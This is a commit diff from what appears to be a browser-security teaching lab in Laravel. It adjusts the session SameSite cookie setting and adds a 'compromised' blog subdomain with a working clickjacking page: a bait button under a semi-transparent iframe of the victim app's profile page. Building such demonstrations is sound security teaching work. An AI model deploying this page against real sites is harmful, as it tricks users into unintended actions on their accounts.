mcoder_rezvan2/browser-sec-lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add

Browse Source
This commit is contained in:
mcoder 2026-04-15 12:36:29 +03:30
parent f51fcb6843
commit adeb5cf02c
4 changed files with 39 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
config/session.php
View File

@ -199,7 +199,7 @@
|
*/
'same_site' => 'none',
'same_site' => env('SESSION_SAME_SITE', 'lax'),
/*
|--------------------------------------------------------------------------

2
docker/nginx/default.conf
View File

@ -1,6 +1,6 @@
server {
listen 80;
server_name webapp.kr-rezvan.ir;
server_name webapp.kr-rezvan.ir blog.webapp.kr-rezvan.ir;
root /var/www/html/public;
index index.php;

26
resources/views/hacker/samesite-clickjacking.blade.php Normal file
View File

@ -0,0 +1,26 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Read our new Blog Post!</title>
<style>
body { font-family: sans-serif; background: #f4f4f5; text-align: center; padding-top: 50px; }
.bait-container { position: relative; width: 600px; height: 400px; margin: 0 auto; border: 2px dashed #a1a1aa; background: #fff; overflow: hidden; }
.bait-button { position: absolute; top: 150px; left: 200px; width: 200px; height: 50px; background: #3b82f6; color: white; font-size: 18px; border: none; border-radius: 5px; cursor: pointer; z-index: 1; }
.malicious-iframe {
position: absolute;
width: 1200px; height: 1500px; /* Oversized iframe */
top: -400px; left: -150px; /* Adjust these later via DevTools */
border: none; z-index: 2; opacity: 0.4;
}
</style>
</head>
<body>
<h1>Check out our latest article!</h1>
<div class="bait-container">
<button class="bait-button">Read More...</button>
<iframe class="malicious-iframe" src="https://webapp.kr-rezvan.ir/profile?allow_framing=true" scrolling="no"></iframe>
</div>
</body>
</html>

11
routes/web.php
View File

@ -34,6 +34,17 @@
});
/*
|--------------------------------------------------------------------------
| compromised subdomain (blog.webapp.kr-rezvan.ir)
|--------------------------------------------------------------------------
*/
Route::domain('blog.webapp.kr-rezvan.ir')->group(function () {
Route::get('/clickjacking', function () {
return view('hacker.samesite-clickjacking');
})->name('samesite.clickjacking');
});
/*
|--------------------------------------------------------------------------
| 🛡️ دامنه قربانی (Victim App) : webapp.kr-rezvan.ir